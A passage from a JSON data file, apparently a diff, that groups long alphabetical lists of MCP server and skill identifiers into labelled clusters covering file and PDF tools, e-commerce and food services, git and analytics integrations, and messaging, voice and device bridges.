"mcp-server:pdf-forms", + "mcp-server:pdf-gen-studio", + "mcp-server:pdf-generator", + "mcp-server:pdf-manipulation", + "mcp-server:pdf-modifier", + "mcp-server:pdf-processor", + "mcp-server:pdf-reader", + "mcp-server:pdf-to-markdown-converter", + "mcp-server:pdf-to-png", + "mcp-server:pdf-toolkit", + "mcp-server:pdf-tools", + "mcp-server:pdf2md", + "mcp-server:pdfcrowd-pdf-export", + "mcp-server:pdfmux", + "mcp-server:photo-organizer", + "mcp-server:quantalogic-markdown-editor", + "mcp-server:readdown", + "mcp-server:readwise-reader", + "mcp-server:rosetta", + "mcp-server:rss", + "mcp-server:rss-crawler", + "mcp-server:rss-feed-manager", + "mcp-server:rss-feed-parser", + "mcp-server:rss-feeds", + "mcp-server:rss-to-markdown", + "mcp-server:rtfm", + "mcp-server:safe-docx", + "mcp-server:screenshot-pdf", + "mcp-server:secure-filesystem", + "mcp-server:sharepoint-file-manager", + "mcp-server:shuck-convert", + "mcp-server:shuck-file", + "mcp-server:simple-file-vector-store", + "mcp-server:skrape", + "mcp-server:smart-connections", + "mcp-server:sombra", + "mcp-server:spire-xls", + "mcp-server:spreadsheet", + "mcp-server:sunholo-parse", + "mcp-server:supernotes-to-obsidian", + "mcp-server:sylvian-excel-agent", + "mcp-server:tablacognita", + "mcp-server:tableshot", + "mcp-server:tablestakes", + "mcp-server:tafa-file-system", + "mcp-server:tessera", + "mcp-server:todo-markdown", + "mcp-server:transkribus", + "mcp-server:turbovault-obsidian", + "mcp-server:unmarkdown", + "mcp-server:upload-file", + "mcp-server:vault", + "mcp-server:vault-contradiction-check", + "mcp-server:virtual-filesystem", + "mcp-server:vulcan-file-ops", + "mcp-server:webdav", + "mcp-server:webp-batch-converter", + "mcp-server:website-to-markdown-converter", + "mcp-server:word-counter", + "mcp-server:word-document-formatter", + "mcp-server:word-document-operations", + "mcp-server:word-document-tools", + "mcp-server:word-interop", + "mcp-server:word-live", + "mcp-server:word-of-the-day", + "mcp-server:word-orb", + "mcp-server:wp-block-markup", + "mcp-server:wsl-filesystem", + "mcp-server:xlwings-excel", + "skill:pdf-official", + "skill:preview" + ] + }, + "12": { + "label": "Community + Official", + "members": [ + "mcp-server:1ly-store", + "mcp-server:aftership-tracking", + "mcp-server:agentic-commerce", + "mcp-server:ai-skill-store", + "mcp-server:aidatanordic-food-recipes", + "mcp-server:albert-heijn", + "mcp-server:alko", + "mcp-server:app-store-connect", + "mcp-server:app-store-google-play", + "mcp-server:app-store-rejections", + "mcp-server:app-store-scraper", + "mcp-server:appinsight-app-store-play-store", + "mcp-server:aquaview", + "mcp-server:arcjet", + "mcp-server:authenticator-app", + "mcp-server:bearingbrain", + "mcp-server:blue-perfumery", + "mcp-server:bopmarket", + "mcp-server:breweries", + "mcp-server:brewers-almanack", + "mcp-server:brewfather", + "mcp-server:buywhere", + "mcp-server:calories-club", + "mcp-server:cdek", + "mcp-server:cigarfinder", + "mcp-server:clishop", + "mcp-server:cob-shopify", + "mcp-server:cocktails", + "mcp-server:coles-woolworths", + "mcp-server:commerce", + "mcp-server:contentstack-app", + "mcp-server:cook-recipe-collection", + "mcp-server:cooking-units", + "mcp-server:cookwith", + "mcp-server:cookwith-recipe", + "mcp-server:correios", + "mcp-server:courier", + "mcp-server:cronometer", + "mcp-server:customer-io", + "mcp-server:dealwatch", + "mcp-server:distillery", + "mcp-server:dolphindb", + "mcp-server:dolphinscheduler", + "mcp-server:doordash", + "mcp-server:dsers-product-import", + "mcp-server:dtc-ecommerce", + "mcp-server:e-commerce-intelligence", + "mcp-server:e-commerce-product-inventory", + "mcp-server:ebay", + "mcp-server:ebay-sell", + "mcp-server:el-cheff", + "mcp-server:etsy", + "mcp-server:eve-online-fleet", + "mcp-server:faostat", + "mcp-server:fatsecret-nutrition", + "mcp-server:findmine-shopping-stylist", + "mcp-server:firebase-admin-sdk", + "mcp-server:fishclaw", + "mcp-server:fitbit", + "mcp-server:fitness-coach", + "mcp-server:fleur-app-launcher", + "mcp-server:flippa", + "mcp-server:foodblock", + "mcp-server:fooddata-central", + "mcp-server:freightutils", + "mcp-server:frigate-nvr", + "mcp-server:frisco", + "mcp-server:fruityvice", + "mcp-server:globkurier-shipping", + "mcp-server:gossiper-shopify-admin", + "mcp-server:grain", + "mcp-server:grubhub", + "mcp-server:haravan", + "mcp-server:harvestr", + "mcp-server:heb-grocery", + "mcp-server:indiamart-leads", + "mcp-server:instacart-strider-labs", + "mcp-server:installed-apps", + "mcp-server:integration-app", + "mcp-server:invinoveritas", + "mcp-server:jumpseller", + "mcp-server:kr-nan-grocery", + "mcp-server:kroger", + "mcp-server:lingxing-erp", + "mcp-server:localplate", + "mcp-server:lokal", + "mcp-server:marine-traffic", + "mcp-server:marlo", + "mcp-server:mealmastery", + "mcp-server:melhor-envio", + "mcp-server:mercadolibre", + "mcp-server:new-relic", + "mcp-server:nova-poshta", + "mcp-server:nutrition", + "mcp-server:nutrition-maxing", + "mcp-server:oceanbase", + "mcp-server:olx", + "mcp-server:onecontext", + "mcp-server:ontology-rl-e-commerce", + "mcp-server:open-food-facts", + "mcp-server:openfoodtox", + "mcp-server:opennutrition", + "mcp-server:originselect", + "mcp-server:ozon-seller", + "mcp-server:pabal", + "mcp-server:panera-bread", + "mcp-server:paprika", + "mcp-server:paprika-recipe-manager", + "mcp-server:planka-v2-navya-tecnologia", + "mcp-server:pochta-russia", + "mcp-server:pricepilot", + "mcp-server:product-source", + "mcp-server:rami-levy", + "mcp-server:recipe-clipper", + "mcp-server:recipe-commerce-intelligence", + "mcp-server:recipes", + "mcp-server:redfish", + "mcp-server:renpho", + "mcp-server:replenishradar", + "mcp-server:retailcrm", + "mcp-server:return-on-creators", + "mcp-server:sailfish", + "mcp-server:saleor-commerce", + "mcp-server:scraps-kitchen", + "mcp-server:seayniclabs-berth", + "mcp-server:shipbook", + "mcp-server:shipkit", + "mcp-server:shippingrates", + "mcp-server:shippo", + "mcp-server:shipsaving", + "mcp-server:shipsmart", + "mcp-server:shipstatic", + "mcp-server:shipswift", + "mcp-server:shipxy", + "mcp-server:shipyard", + "mcp-server:shopify", + "mcp-server:shopify-admin", + "mcp-server:shopify-catalog", + "mcp-server:shopify-customer-accounts", + "mcp-server:shopify-liquid", + "mcp-server:shopify-store", + "mcp-server:shopify-storefront", + "mcp-server:shopline", + "mcp-server:shopops", + "mcp-server:shoptet", + "mcp-server:shufersal", + "mcp-server:smart-customer-support", + "mcp-server:spaceship", + "mcp-server:starbucks", + "mcp-server:store-e-commerce", + "mcp-server:tableall", + "mcp-server:taco-bell", + "mcp-server:tailorkit", + "mcp-server:target", + "mcp-server:things-app", + "mcp-server:trackmage", + "mcp-server:triple-whale", + "mcp-server:trustrails", + "mcp-server:uber-eats", + "mcp-server:ucp", + "mcp-server:ucp-shopping", + "mcp-server:uk-supermarkets", + "mcp-server:vesselapi", + "mcp-server:vintage-chocolate-recipes", + "mcp-server:vistoya", + "mcp-server:voltplan", + "mcp-server:vtex", + "mcp-server:walmart", + "mcp-server:wegmans", + "mcp-server:whale-alert", + "mcp-server:wonderkraftz", + "mcp-server:woocommerce", + "mcp-server:xfish-webshop", + "mcp-server:xurprise", + "mcp-server:xyz-rubenayla-partle-marketplace", + "mcp-server:yachtsy-ai", + "mcp-server:yazio" + ] + }, + "13": { + "label": "Community + Official + Reference", + "members": [ + "mcp-server:ai-archive", + "mcp-server:ai-assisted-insights-agent", + "mcp-server:aira-git", + "mcp-server:amplitude-analytics", + "mcp-server:anna-s-archive", + "mcp-server:argus-gitlab", + "mcp-server:atlassian", + "mcp-server:atlassian-bitbucket-data-center", + "mcp-server:atlassian-cloud", + "mcp-server:atlassian-confluence", + "mcp-server:atlassian-confluence-data-center", + "mcp-server:atlassian-dc", + "mcp-server:atlassian-extended", + "mcp-server:atlassian-jira-confluence", + "mcp-server:atlassian-netscaler", + "mcp-server:atlassian-with-bitbucket", + "mcp-server:audiense-insights", + "mcp-server:backstage-tech-insights", + "mcp-server:bitbucket", + "mcp-server:bitbucket-data-center", + "mcp-server:bloom-growth", + "mcp-server:bored-activity-ideas", + "mcp-server:business-analytics-rag", + "mcp-server:cb-insights", + "mcp-server:changelog-hq", + "mcp-server:commit-message-court", + "mcp-server:confluence", + "mcp-server:confluence-and-jira", + "mcp-server:confluence-chat", + "mcp-server:cornerstone-pro-extended", + "mcp-server:coupler-io-analytics", + "mcp-server:dbhub-analytics", + "mcp-server:devflow", + "mcp-server:dex-metrics-dune-analytics", + "mcp-server:diffpilot", + "mcp-server:dig", + "mcp-server:dune-analytics", + "mcp-server:efficient-gitlab", + "mcp-server:engageable-analytics", + "mcp-server:fathom-analytics", + "mcp-server:fork-parity", + "mcp-server:ganger-github-stars", + "mcp-server:ghost-writer", + "mcp-server:gistpad-github-gists", + "mcp-server:git", + "mcp-server:git-commit-aider", + "mcp-server:git-commit-generator", + "mcp-server:git-conflict-manager", + "mcp-server:git-coordination", + "mcp-server:git-file-forensics", + "mcp-server:git-forensics", + "mcp-server:git-ingest", + "mcp-server:git-karataevdmitry", + "mcp-server:git-pr", + "mcp-server:git-pr-description-generator", + "mcp-server:git-repo-browser", + "mcp-server:git-repository-browser", + "mcp-server:git-security", + "mcp-server:git-standup", + "mcp-server:git-summary", + "mcp-server:git-tools", + "mcp-server:gitbook", + "mcp-server:gitctx", + "mcp-server:gitee", + "mcp-server:github", + "mcp-server:github-actions", + "mcp-server:github-actions-trigger", + "mcp-server:github-agentic-chat", + "mcp-server:github-analytics", + "mcp-server:github-chat", + "mcp-server:github-enterprise", + "mcp-server:github-explorer", + "mcp-server:github-gists", + "mcp-server:github-graphql-api", + "mcp-server:github-insights", + "mcp-server:github-integration-hub", + "mcp-server:github-issue-fetcher", + "mcp-server:github-issues", + "mcp-server:github-kanban", + "mcp-server:github-mapper", + "mcp-server:github-plus", + "mcp-server:github-portfolio", + "mcp-server:github-pr-comments", + "mcp-server:github-pr-diff", + "mcp-server:github-pr-issue-analyzer", + "mcp-server:github-pr-notion", + "mcp-server:github-pr-reviewer-notion", + "mcp-server:github-project-manager", + "mcp-server:github-projects", + "mcp-server:github-projects-v2", + "mcp-server:github-pull-request", + "mcp-server:github-pull-request-activity", + "mcp-server:github-repo-extractor", + "mcp-server:github-repos-manager", + "mcp-server:github-repository", + "mcp-server:github-repository-browser", + "mcp-server:github-repository-creator", + "mcp-server:github-repository-explorer", + "mcp-server:github-repository-inspector", + "mcp-server:github-repository-integration", + "mcp-server:github-repository-manager", + "mcp-server:github-review", + "mcp-server:github-scraper", + "mcp-server:github-stars", + "mcp-server:github-to-mcp-converter", + "mcp-server:github-todo-scanner", + "mcp-server:github-trending-repositories-findrepo", + "mcp-server:github-url-converter", + "mcp-server:github-via-oauth", + "mcp-server:github-webhook", + "mcp-server:gitingest", + "mcp-server:gitintel", + "mcp-server:gitkraken", + "mcp-server:gitlab", + "mcp-server:gitlab-by-crunchtools", + "mcp-server:gitlab-ci", + "mcp-server:gitlab-docs", + "mcp-server:gitlab-jira", + "mcp-server:gitlab-kanban", + "mcp-server:gitlab-local", + "mcp-server:gitlab-mr-confluence-linker", + "mcp-server:gitlab-review", + "mcp-server:gitmcp-github-to-mcp", + "mcp-server:gitscrum", + "mcp-server:gitwhy", + "mcp-server:google-analytics", + "mcp-server:indie-metrics", + "mcp-server:instagit", + "mcp-server:instagram-analytics", + "mcp-server:io-github-trupe-rs-expert-brain", + "mcp-server:iterm2-git-worktree-manager", + "mcp-server:jakarta-migration", + "mcp-server:jira", + "mcp-server:jira-by-mmatczuk", + "mcp-server:jira-cloud", + "mcp-server:jira-confluence", + "mcp-server:jira-delivery-toolkit", + "mcp-server:jira-edrich13", + "mcp-server:jira-insights", + "mcp-server:jira-linear", + "mcp-server:jira-project-management", + "mcp-server:jira-scoped-tokens", + "mcp-server:jira-service-management", + "mcp-server:jira-service-management-cdata", + "mcp-server:jira-xray", + "mcp-server:kayzen-analytics", + "mcp-server:kodit", + "mcp-server:lighthouse-pagespeed-insights", + "mcp-server:local-git", + "mcp-server:lspace", + "mcp-server:matomo-analytics", + "mcp-server:memecoin-radar-dune-analytics", + "mcp-server:merge-request-summarizer", + "mcp-server:microsoft-clarity-analytics", + "mcp-server:milestoner", + "mcp-server:mixpanel", + "mcp-server:mixpanel-analytics", + "mcp-server:mooring", + "mcp-server:multi-jira", + "mcp-server:nasa-cmr-common-metadata-repository", + "mcp-server:nih-reporter", + "mcp-server:omnigit", + "mcp-server:orionbelt-analytics", + "mcp-server:oss-autopilot", + "mcp-server:oss-insight", + "mcp-server:pagespeed-insights", + "mcp-server:patsnap-patent-analytics", + "mcp-server:phos-analytics-engine", + "mcp-server:pipeworx-github", + "mcp-server:pirsch-analytics", + "mcp-server:plausible-analytics", + "mcp-server:postgresql-with-github-oauth", + "mcp-server:power-bi-analyst", + "mcp-server:private-github-search", + "mcp-server:project-explorer", + "mcp-server:project-hub-github", + "mcp-server:puchai-reddit-productivity", + "mcp-server:pullpush-reddit", + "mcp-server:pygithub", + "mcp-server:rails-diff", + "mcp-server:red-hat-jira", + "mcp-server:reddit", + "mcp-server:reddit-buddy", + "mcp-server:reddit-insights", + "mcp-server:reddit-lurker", + "mcp-server:reddit-via-apify", + "mcp-server:repo-intel", + "mcp-server:repository-to-llm-context", + "mcp-server:revenue-query", + "mcp-server:sales-insights-agent", + "mcp-server:salesforce-atlassian-supabase", + "mcp-server:secondbrain", + "mcp-server:secretagent", + "mcp-server:secure-github-ops", + "mcp-server:shadowgit", + "mcp-server:sourcebot", + "mcp-server:statsource-analytics", + "mcp-server:stripe-analytics", + "mcp-server:surfa-analytics", + "mcp-server:tempo-filler-atlassian", + "mcp-server:tree-explorer", + "mcp-server:uithub", + "mcp-server:umami-analytics", + "mcp-server:uniquity", + "mcp-server:unusual-whales-analytics", + "mcp-server:us-healthcare-analytics", + "mcp-server:wallet-inspector-dune-analytics", + "mcp-server:wazuh-opensearch-analytics", + "mcp-server:wisegit", + "mcp-server:wp-analytics", + "mcp-server:wspr-beacon-analytics" + ] + }, + "14": { + "label": "Community + Official", + "members": [ + "mcp-server:a2a-bridge", + "mcp-server:ableton", + "mcp-server:ableton-live", + "mcp-server:accessibility-bridge", + "mcp-server:acp-bridge", + "mcp-server:adb-android-debug-bridge", + "mcp-server:aesthetic-computer", + "mcp-server:africa-s-talking-sms", + "mcp-server:agent-chat", + "mcp-server:agent-droid-bridge", + "mcp-server:agent-reachout", + "mcp-server:agentsim", + "mcp-server:ahme", + "mcp-server:ai-bridge", + "mcp-server:ai-church-telegram", + "mcp-server:ai-cli-bridge", + "mcp-server:ai-conversation-logger", + "mcp-server:ai-session-bridge", + "mcp-server:ai-translation", + "mcp-server:aiogram-telegram-bridge", + "mcp-server:airylark-translation", + "mcp-server:aivisspeech", + "mcp-server:alice", + "mcp-server:aligo-sms", + "mcp-server:allvoicelab", + "mcp-server:android-adb", + "mcp-server:android-automation", + "mcp-server:android-build", + "mcp-server:android-debug-bridge", + "mcp-server:android-debug-bridge-adb", + "mcp-server:android-device-control", + "mcp-server:android-expert", + "mcp-server:android-mobile", + "mcp-server:android-proxy", + "mcp-server:android-puppeteer", + "mcp-server:android-security-analyzer", + "mcp-server:android-shizuku", + "mcp-server:android-skills", + "mcp-server:android-source-code-browser", + "mcp-server:android-source-explorer", + "mcp-server:android-toolkit", + "mcp-server:android-tools", + "mcp-server:android-uiautomator2", + "mcp-server:androjack", + "mcp-server:angular-i18n", + "mcp-server:apk-reverse-engineering", + "mcp-server:apktool", + "mcp-server:appium", + "mcp-server:appium-android-automation", + "mcp-server:apple-music", + "mcp-server:apple-voice-memo", + "mcp-server:arara-revenue-os", + "mcp-server:atomic-computer", + "mcp-server:attendee-bot", + "mcp-server:atuin-history", + "mcp-server:audio-capture", + "mcp-server:audio-interface", + "mcp-server:audio-player", + "mcp-server:audio-transcriber-openai-whisper", + "mcp-server:audioalpha", + "mcp-server:audiobookshelf", + "mcp-server:audioscrape-audio-intelligence", + "mcp-server:audius", + "mcp-server:auphonic", + "mcp-server:autoglm-phone", + "mcp-server:autohotkey-computer-use", + "mcp-server:automobile", + "mcp-server:awesome-cursor", + "mcp-server:barevalue", + "mcp-server:big-boss-bot", + "mcp-server:blabber-openai-tts", + "mcp-server:ble-hardware-bridge", + "mcp-server:botcall", + "mcp-server:botmadang", + "mcp-server:bouyomi-chan", + "mcp-server:bridge-metrics-defillama", + "mcp-server:bridge-windows-pc-control", + "mcp-server:brivvy", + "mcp-server:bubblyphone", + "mcp-server:c64-bridge", + "mcp-server:cail-ai-calls-voicemail", + "mcp-server:callcenter-js-voip-telephony", + "mcp-server:calltouch", + "mcp-server:can-bus-simulator", + "mcp-server:carla-audio-plugin-host", + "mcp-server:cc2wx-wechat-bridge", + "mcp-server:chamade", + "mcp-server:chat-logger", + "mcp-server:chat-roulette", + "mcp-server:chatgpt-history", + "mcp-server:chatgpt-openai-gpt-4o", + "mcp-server:chatgpt-responses", + "mcp-server:chatlab", + "mcp-server:chatspatial", + "mcp-server:chatterbox", + "mcp-server:chatterbox-tts", + "mcp-server:chatvolt", + "mcp-server:chatwoot", + "mcp-server:cheat-engine-bridge", + "mcp-server:chipsai", + "mcp-server:civ5-bridge", + "mcp-server:claude-ai-connector-bridge", + "mcp-server:claude-mobile", + "mcp-server:clicksend", + "mcp-server:codex-bridge", + "mcp-server:codex-cli-bridge", + "mcp-server:codex-whatsapp-relay", + "mcp-server:computer-control", + "mcp-server:computer-use", + "mcp-server:consciousness-bridge", + "mcp-server:contentflow", + "mcp-server:conversation-save-load", + "mcp-server:crabeye-bridge", + "mcp-server:cross-chain-bridge-routes", + "mcp-server:cue", + "mcp-server:cursor-a11y", + "mcp-server:cursor-agent", + "mcp-server:cursor-background-composer", + "mcp-server:cursor-buddy", + "mcp-server:cursor-chat-history", + "mcp-server:cursor-conversations", + "mcp-server:cursor-db-explorer", + "mcp-server:cursor-history", + "mcp-server:cursor-ide", + "mcp-server:cursor-ide-development-tools-jira-github-postgresql", + "mcp-server:cursor-rules", + "mcp-server:cursor-snap", + "mcp-server:cursor-sound", + "mcp-server:cursor-sound-notifications", + "mcp-server:cursor-task-tracker", + "mcp-server:daisys-ai-text-to-speech", + "mcp-server:ddc-ci-control-bridge", + "mcp-server:deapi", + "mcp-server:decent-sampler-drums", + "mcp-server:deepgram", + "mcp-server:deepl-translator", + "mcp-server:descript", + "mcp-server:design-token-bridge", + "mcp-server:desktop-notifications", + "mcp-server:desktop-touch", + "mcp-server:desktop-ui-test-utils", + "mcp-server:device-peripherals", + "mcp-server:dialer", + "mcp-server:didlogic-voip", + "mcp-server:dify-tools-bridge", + "mcp-server:dingding-bot", + "mcp-server:dingding-dingtalk", + "mcp-server:dingtalk", + "mcp-server:dingtalk-v2", + "mcp-server:discogs", + "mcp-server:discord", + "mcp-server:discord-bot", + "mcp-server:discord-by-oratorian", + "mcp-server:discord-control", + "mcp-server:discord-extended", + "mcp-server:discord-notification", + "mcp-server:discord-relay", + "mcp-server:discord-webhooks", + "mcp-server:discourse", + "mcp-server:djeb", + "mcp-server:dokploy-mcp-bridge", + "mcp-server:drengr", + "mcp-server:droidbar", + "mcp-server:droidmind", + "mcp-server:dynamoi", + "mcp-server:edge-text-to-speech", + "mcp-server:electron-cdp-bridge", + "mcp-server:elevenlabs", + "mcp-server:epics-process-variable-bridge", + "mcp-server:evm-blockchain-bridge", + "mcp-server:evolution-whatsapp-api", + "mcp-server:exia-voiceroid", + "mcp-server:expo-android", + "mcp-server:famulor", + "mcp-server:fast-telegram", + "mcp-server:figma-bridge", + "mcp-server:figma-local-bridge", + "mcp-server:fish-audio", + "mcp-server:flowise", + "mcp-server:freebeat", + "mcp-server:frida-c2", + "mcp-server:galaxy", + "mcp-server:gaudio-lab-audio-ai", + "mcp-server:gavelin", + "mcp-server:gemini-cli-bridge-xjoker", + "mcp-server:gensokyo", + "mcp-server:ghidra-bridge", + "mcp-server:gibber", + "mcp-server:gimp", + "mcp-server:gong", + "mcp-server:gorev", + "mcp-server:gotify", + "mcp-server:gotify-notifications", + "mcp-server:gpu-bridge", + "mcp-server:graphql-bridge", + "mcp-server:groundng-qa-for-cursor", + "mcp-server:grpc-bridge", + "mcp-server:hana-cloud-ml-bridge", + "mcp-server:heyoncall", + "mcp-server:honk", + "mcp-server:houdini-3d", + "mcp-server:http-bridge", + "mcp-server:http-request", + "mcp-server:i18n-agent-action", + "mcp-server:icons8", + "mcp-server:identifai", + "mcp-server:ignition-studio-5000-bridge", + "mcp-server:il2cpp-frida-bridge", + "mcp-server:intenttext", + "mcp-server:ios-development-bridge-idb", + "mcp-server:ios-simulator", + "mcp-server:iot-edge-bridge", + "mcp-server:iphone-control", + "mcp-server:iphone-mirroir", + "mcp-server:jadx-android-decompiler", + "mcp-server:jadx-daemon", + "mcp-server:jivosite", + "mcp-server:joltsms", + "mcp-server:jupyter-notebook-bridge", + "mcp-server:justcall", + "mcp-server:kakao-talk", + "mcp-server:kite-3d-websocket-bridge", + "mcp-server:kokoro-speech", + "mcp-server:kokoro-tts", + "mcp-server:kotlin-android-development", + "mcp-server:kotlin-lsp-bridge", + "mcp-server:kyutai-tts", + "mcp-server:labelhead-artist-momentum", + "mcp-server:lara-translate", + "mcp-server:lazy-mobile", + "mcp-server:ldplayer-android-pentest", + "mcp-server:lenny-s-podcast", + "mcp-server:liguelead", + "mcp-server:lingo-dev-translation", + "mcp-server:lingvanex-translate", + "mcp-server:listen", + "mcp-server:listenetic", + "mcp-server:listenhub", + "mcp-server:llama-cpp-bridge", + "mcp-server:llm-bridge", + "mcp-server:loaded-vibes", + "mcp-server:local-history", + "mcp-server:local-repository-bridge", + "mcp-server:local-speech-to-text", + "mcp-server:local-voice", + "mcp-server:m-pesa-africa-s-talking", + "mcp-server:macos-mail-mcp-bridge", + "mcp-server:macos-text-to-speech", + "mcp-server:magpipe", + "mcp-server:manycontacts", + "mcp-server:max-messenger", + "mcp-server:meet-bot", + "mcp-server:message-notifications", + "mcp-server:microsoft-teams-notifications", + "mcp-server:midi-files", + "mcp-server:midi-output", + "mcp-server:minimax", + "mcp-server:minimax-ai", + "mcp-server:mixcloud", + "mcp-server:mobai", + "mcp-server:mobile-development-tools", + "mcp-server:mobile-device", + "mcp-server:mobile-device-by-saranshbamania", + "mcp-server:mobile-device-control", + "mcp-server:mobile-text-alerts", + "mcp-server:mts-exolve", + "mcp-server:multichat", + "mcp-server:mureka-ai-music-generation", + "mcp-server:musescore", + "mcp-server:music-studio", + "mcp-server:musicbrainz", + "mcp-server:musicmcp-ai", + "mcp-server:myinstants-soundboard", + "mcp-server:mypc", + "mcp-server:navidrome", + "mcp-server:neo-browser-bridge-heydryft", + "mcp-server:niutrans-translation", + "mcp-server:nordic-business-registries", + "mcp-server:notification-chimes", + "mcp-server:notify", + "mcp-server:notifyhub", + "mcp-server:ntfy-notifications", + "mcp-server:ntfy-push-notifications", + "mcp-server:ntfy-sh", + "mcp-server:nuno-nation-chat", + "mcp-server:nuxt-i18n", + "mcp-server:nyantify", + "mcp-server:omicall", + "mcp-server:onesignal", + "mcp-server:openai-chat", + "mcp-server:openai-chat-completions", + "mcp-server:openai-text-to-speech", + "mcp-server:openai-tts", + "mcp-server:openrouter-bridge", + "mcp-server:openrouter-conversation-manager", + "mcp-server:peach-ai-whatsapp", + "mcp-server:phone-a-friend", + "mcp-server:phone-control-android-adb", + "mcp-server:phonepi", + "mcp-server:pingzen", + "mcp-server:platfone", + "mcp-server:plaud", + "mcp-server:play-sound", + "mcp-server:pocket-android", + "mcp-server:poke-ssh-bridge", + "mcp-server:pollinations", + "mcp-server:polyglot-translation", + "mcp-server:postman", + "mcp-server:powerpoint-translator", + "mcp-server:precision-desktop", + "mcp-server:pref-editor-android", + "mcp-server:preflight-ios", + "mcp-server:prelude-instruments", + "mcp-server:prodlint", + "mcp-server:proton-mail-bridge", + "mcp-server:protonmail-bridge", + "mcp-server:prsai", + "mcp-server:pushover", + "mcp-server:qq-music", + "mcp-server:quickchat", + "mcp-server:rabbitmq", + "mcp-server:reaper", + "mcp-server:remote-bridge", + "mcp-server:replicant", + "mcp-server:resemble", + "mcp-server:retellai-voice-services", + "mcp-server:retrochat", + "mcp-server:rfc-document-bridge", + "mcp-server:rime-text-to-speech", + "mcp-server:roblox-game-client-bridge", + "mcp-server:roblox-studio-bridge", + "mcp-server:rocket-chat", + "mcp-server:rootvine", + "mcp-server:ros-2-bridge", + "mcp-server:ruto-phone", + "mcp-server:sable-anvil", + "mcp-server:salutespeech", + "mcp-server:say-text-to-speech", + "mcp-server:schedule-i-game-bridge", + "mcp-server:scrcpy-android-control", + "mcp-server:sentinel-bot", + "mcp-server:serial-hardware-bridge", + "mcp-server:serial-port-communication", + "mcp-server:server-notify", + "mcp-server:session-saver", + "mcp-server:siliconflow-voice-transcription", + "mcp-server:simplelocalize", + "mcp-server:sinch", + "mcp-server:smart-speaker", + "mcp-server:sms-ru", + "mcp-server:sonic-pi", + "mcp-server:soniq", + "mcp-server:sonos", + "mcp-server:soulseek", + "mcp-server:sound-effects", + "mcp-server:sound-notification", + "mcp-server:soundcloud-downloader", + "mcp-server:speaker-diarization", + "mcp-server:speech-ai", + "mcp-server:speech-interface-faster-whisper", + "mcp-server:spider-chat", + "mcp-server:spotify", + "mcp-server:spotify-bulk-actions", + "mcp-server:spotify-go", + "mcp-server:spotify-playlist", + "mcp-server:spring-boot-bridge", + "mcp-server:sqlalchemy-odbc-bridge", + "mcp-server:square", + "mcp-server:ssh-bridge", + "mcp-server:starsinger", + "mcp-server:streamersonglist", + "mcp-server:supertonic-tts", + "mcp-server:system-bridge", + "mcp-server:take-blip", + "mcp-server:tasker", + "mcp-server:tasknote-bridge", + "mcp-server:tavily-bridge", + "mcp-server:tavus", + "mcp-server:teladoc", + "mcp-server:telegram", + "mcp-server:telegram-api", + "mcp-server:telegram-bot", + "mcp-server:telegram-bot-api", + "mcp-server:telegram-bot-bridge", + "mcp-server:telegram-bot-daedalus", + "mcp-server:telegram-channel-explorer", + "mcp-server:telegram-channel-scraper", + "mcp-server:telegram-communicator", + "mcp-server:telegram-confirmation-bridge", + "mcp-server:telegram-cti", + "mcp-server:telegram-notifier", + "mcp-server:telegram-notify", + "mcp-server:telegram-personal", + "mcp-server:telemetryflow", + "mcp-server:telitask", + "mcp-server:telnyx", + "mcp-server:temple-bridge", + "mcp-server:text-classifier", + "mcp-server:text-saver", + "mcp-server:text-to-speech", + "mcp-server:text-to-speech-windows", + "mcp-server:text-translator", + "mcp-server:tidal-music", + "mcp-server:tinder", + "mcp-server:titanmind-whatsapp", + "mcp-server:tlon-urbit-messenger", + "mcp-server:toast-notifications", + "mcp-server:tonr-music", + "mcp-server:toolz", + "mcp-server:traditional-chinese-text-linting", + "mcp-server:transcribe", + "mcp-server:translate", + "mcp-server:translate-deepl", + "mcp-server:translategemma", + "mcp-server:translatesheet", + "mcp-server:traq", + "mcp-server:tts-say", + "mcp-server:twilio-agent-payments", + "mcp-server:twilio-messaging", + "mcp-server:twilio-sms", + "mcp-server:twitch-chat", + "mcp-server:twitch-smithery", + "mcp-server:twitter-bridge", + "mcp-server:typebot", + "mcp-server:typecast-ai", + "mcp-server:uiautomation-for-windows", + "mcp-server:uiautomator2", + "mcp-server:unichat", + "mcp-server:unity-ai-bridge", + "mcp-server:unity-ai-cli-bridge", + "mcp-server:unity-info-bridge", + "mcp-server:unitylangpx", + "mcp-server:usercall", + "mcp-server:utcp-bridge", + "mcp-server:v-rapper", + "mcp-server:vapi", + "mcp-server:vapi-voice-ai", + "mcp-server:vectara", + "mcp-server:veed", + "mcp-server:verba", + "mcp-server:vibe", + "mcp-server:vibe-check", + "mcp-server:vibe-checker", + "mcp-server:vibe-coder-ai-assisted-development", + "mcp-server:vibe-coding", + "mcp-server:vibe-composer-midi", + "mcp-server:vibe-eyes", + "mcp-server:vibe-hn-index", + "mcp-server:vibe-marketing", + "mcp-server:vibe-provision", + "mcp-server:vibe-worldbuilding", + "mcp-server:vibeads", + "mcp-server:vibecodermcp", + "mcp-server:vibecoins", + "mcp-server:vibecraft", + "mcp-server:vibefix", + "mcp-server:vibelogin", + "mcp-server:vibescan", + "mcp-server:vibesharing", + "mcp-server:vibeshell", + "mcp-server:vibespace-ternary", + "mcp-server:voice-bridge", + "mcp-server:voice-call-twilio", + "mcp-server:voice-gen-minimax-ai", + "mcp-server:voice-hooks", + "mcp-server:voice-interface", + "mcp-server:voice-mcp", + "mcp-server:voice-recorder-whisper", + "mcp-server:voice-transcriber", + "mcp-server:voicepeak", + "mcp-server:voicesmith", + "mcp-server:voicevox", + "mcp-server:voidmob", + "mcp-server:votars", + "mcp-server:vrchat-osc", + "mcp-server:vybit", + "mcp-server:waha-whatsapp-http-api", + "mcp-server:wazion", + "mcp-server:webear", + "mcp-server:webhooks", + "mcp-server:weblate", + "mcp-server:websocket-mcp-bridge", + "mcp-server:wechat", + "mcp-server:wechat-adb", + "mcp-server:wechat-articles", + "mcp-server:wechat-bot-by-howardzhangdqs", + "mcp-server:wechat-bot-by-yindex", + "mcp-server:wechat-channel-dcatfly", + "mcp-server:wechat-digest-bluesky-publisher", + "mcp-server:wechat-mini-program-devtools", + "mcp-server:wechat-miniprogram", + "mcp-server:wechat-moments", + "mcp-server:wechat-official-account", + "mcp-server:wechat-summarizer", + "mcp-server:wecom", + "mcp-server:wecom-aibot", + "mcp-server:wecom-human-in-the-loop", + "mcp-server:weftly", + "mcp-server:whatsapp", + "mcp-server:whatsapp-bridge", + "mcp-server:whatsapp-business", + "mcp-server:whatsapp-business-bot", + "mcp-server:whatsapp-cloud-api-fredshred7", + "mcp-server:whatsapp-desktop", + "mcp-server:whatsapp-greenapi", + 